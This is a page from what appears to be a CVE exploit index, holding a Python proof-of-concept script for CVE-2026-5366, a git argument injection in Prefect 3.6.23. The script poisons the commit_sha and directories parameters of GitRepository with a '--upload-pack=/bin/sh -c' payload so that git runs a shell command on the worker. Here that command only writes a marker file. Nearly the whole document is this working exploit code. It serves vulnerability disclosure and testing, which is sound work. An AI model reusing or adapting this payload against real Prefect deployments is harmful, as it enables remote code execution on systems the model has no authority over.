5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
PoC for CVE-2026-5366: Git Argument Injection in Prefect (tag 3.6.23)

Fatto per voi da Renatino vostro, vi voglio bene tuttiiiiiiiii miei sorcini...

Vulnerable file: src/prefect/runner/storage.py (line numbers from the 3.6.23 tree).
In __init__, commit_sha (line 181) and directories (line 191) are stored without
validation; the only check is the branch/commit_sha mutual exclusion (line 174).

Attack vectors:
  commit_sha -> fetch/checkout (lines 379, 391, 475, 480)
  directories -> sparse-checkout set without a "--" separator (lines 360, 489)

A "--upload-pack=..." value makes git run that program locally during
fetch/checkout, giving RCE on the worker.

Usage:
    python poc.py
    POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py   # offline

Needs a vulnerable install: pip install "prefect==3.6.23" (run isolated).
"""

import asyncio
import os
import shutil
import sys
import tempfile
import time
from dataclasses import dataclass
from pathlib import Path

try:
    from prefect.runner.storage import GitRepository
except ImportError as e:
    print("ERROR: Could not import GitRepository from prefect.")
    print("You must run this on a vulnerable version.")
    print("Example: pip install 'prefect==3.6.23'")
    print(f"Import error: {e}")
    sys.exit(1)


# Default target. git only honors --upload-pack on local/ssh transports, so the
# RCE fires against a file:// (or ssh) URL, not this https remote. Use
# run_offline.sh, or set POC_TARGET_REPO to a file:// repo, to see it pop.
TARGET_REPO = os.environ.get(
    "POC_TARGET_REPO", "https://github.com/octocat/Hello-World.git"
)

MARKER_GLOB = "prefect_rce_*.txt"
MARKER_DIR = Path(tempfile.gettempdir())


@dataclass(frozen=True)
class Vector:
    key: str  # tag used in marker/clone names, e.g. "COMMIT"
    param: str  # GitRepository kwarg to poison
    callsites: str  # call sites it reaches in 3.6.23
    expect_rce: bool  # whether this vector can actually run code


VECTORS = (
    Vector(
        key="COMMIT",
        param="commit_sha",
        callsites="fetch origin <sha> / checkout <sha> (lines 379/391/475/480)",
        expect_rce=True,
    ),
    # sparse-checkout set is a local command with no --upload-pack option, so
    # the payload is rejected as an unknown flag: argument injection, not RCE.
    Vector(
        key="DIRS",
        param="directories",
        callsites="sparse-checkout set <dir> without '--' (lines 360/489)",
        expect_rce=False,
    ),
)


def log(msg: str) -> None:
    print(f"[*] {msg}")


def build_payload(marker: Path, label: str) -> str:
    # git reads the leading '--upload-pack=' as an option and runs the program.
    return (
        f"--upload-pack=/bin/sh -c "
        f"'echo \"EXPLOITED via {label} $(date)\" > {marker} 2>&1 || true'"
    )


def unique_suffix() -> str:
    # nanosecond suffix so back-to-back runs don't collide
    return str(time.time_ns())


def force_clean_destination(dest: Path) -> None:
    # Delete the dest (and its .lock) so we hit the full _clone_repo() path
    # (clone --no-checkout, then fetch/checkout the malicious value) instead
    # of the "update" path taken when a .git already exists.
    if dest.exists():
        log(f"Cleaning existing destination: {dest}")
        shutil.rmtree(dest, ignore_errors=True)

    lock = dest.parent / (dest.name + ".lock")
    if lock.exists():
        lock.unlink(missing_ok=True)


def cleanup_markers() -> None:
    # drop marker files left by previous runs
    for marker in MARKER_DIR.glob(MARKER_GLOB):
        try:
            marker.unlink()
            log(f"Removed old marker: {marker}")
        except OSError as exc:
            log(f"Could not remove {marker}: {exc}")


def make_storage(vector: Vector, payload: str, clone_name: str) -> GitRepository:
    # poison exactly one parameter; both are stored unvalidated in 3.6.23
    kwargs = {"url": TARGET_REPO, "name": clone_name, "pull_interval": None}
    if vector.param == "commit_sha":
        kwargs["commit_sha"] = payload
    else:
        kwargs["directories"] = [payload]
    return GitRepository(**kwargs)


async def run_vector(vector: Vector) -> bool:
    # Run one vector end-to-end; True if the marker file got created.
    suffix = unique_suffix()
    marker = MARKER_DIR / f"prefect_rce_{vector.key}_{suffix}.txt"
    clone_name = f"prefect-poc-{vector.key.lower()}-{suffix}"
    dest = Path.cwd() / clone_name

    payload = build_payload(marker, vector.param)
    log(f"{vector.param} payload: {payload!r}")
    log(f"Target call sites: {vector.callsites}")

    # clean up before constructing the storage object
    force_clean_destination(dest)

    try:
        # on a patched version (>= 3.6.25) this raises ValueError, which is
        # itself the neutralization
        storage = make_storage(vector, payload, clone_name)
    except ValueError as exc:
        log(f"NEUTRALIZED ({vector.param}): rejected at construction -> {exc}")
        return False

    try:
        await storage.pull_code()
    except Exception as exc:
        # git fails (the upload-pack value isn't a real helper) but the side
        # effect already ran by then
        log(f"pull_code() raised (expected): {type(exc).__name__}")

    if marker.exists():
        log(f"SUCCESS ({vector.param}): marker created -> {marker}")
        try:
            print("    Content:", marker.read_text().strip())
        except OSError:
            pass
        return True

    if vector.expect_rce:
        log(f"FAILED ({vector.param}): no marker at {marker}")
    else:
        log(f"no marker ({vector.param}): expected, this vector is not RCE")
    return False


def status_for(vector: Vector, success: bool) -> str:
    if success:
        return "VULNERABLE: RCE achieved"
    if vector.expect_rce:
        return "no marker (patched or failed)"
    return "argument injection, non-RCE (expected)"


def print_summary(results: list[tuple[Vector, bool]]) -> None:
    print()
    print("=" * 72)
    print("SUMMARY")
    print("=" * 72)
    for vector, success in results:
        print(f"  {vector.param:12s}: {status_for(vector, success)}")

    if any(success for _, success in results):
        print("\n[+] SUCCESS: At least one RCE vector worked.")
        print(f"    Marker files left in {MARKER_DIR} for inspection.")
    else:
        print("\n[-] No RCE markers created.")
        print("    Possible reasons:")
        print("      - You are running a patched version (>= 3.6.25)")
        print("      - The clone dir was not cleaned properly")
        print("      - git not in PATH or permissions issue")

    print("\nCurrent markers found:")
    markers = sorted(MARKER_DIR.glob(MARKER_GLOB))
    if markers:
        for marker in markers:
            print(f"  {marker}")
    else:
        print("  (none)")

    print("\nRecommended cleanup when done:")
    print(f"  rm -f {MARKER_DIR / MARKER_GLOB}")
    print("  rm -rf prefect-poc-*/")


async def main() -> None:
    print("PoC for CVE-2026-5366 - Git Argument Injection (Prefect 3.6.23)")

    try:
        import prefect

        print(f"Prefect version detected: {prefect.__version__}")
    except Exception:
        print("Prefect version: unknown (running from source?)")

    print(f"Target repo: {TARGET_REPO}")
    print()

    cleanup_markers()

    results: list[tuple[Vector, bool]] = []
    for vector in VECTORS:
        log(f"=== VECTOR: {vector.param} ===")
        results.append((vector, await run_vector(vector)))
        print()

    print_summary(results)


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nInterrupted by user.")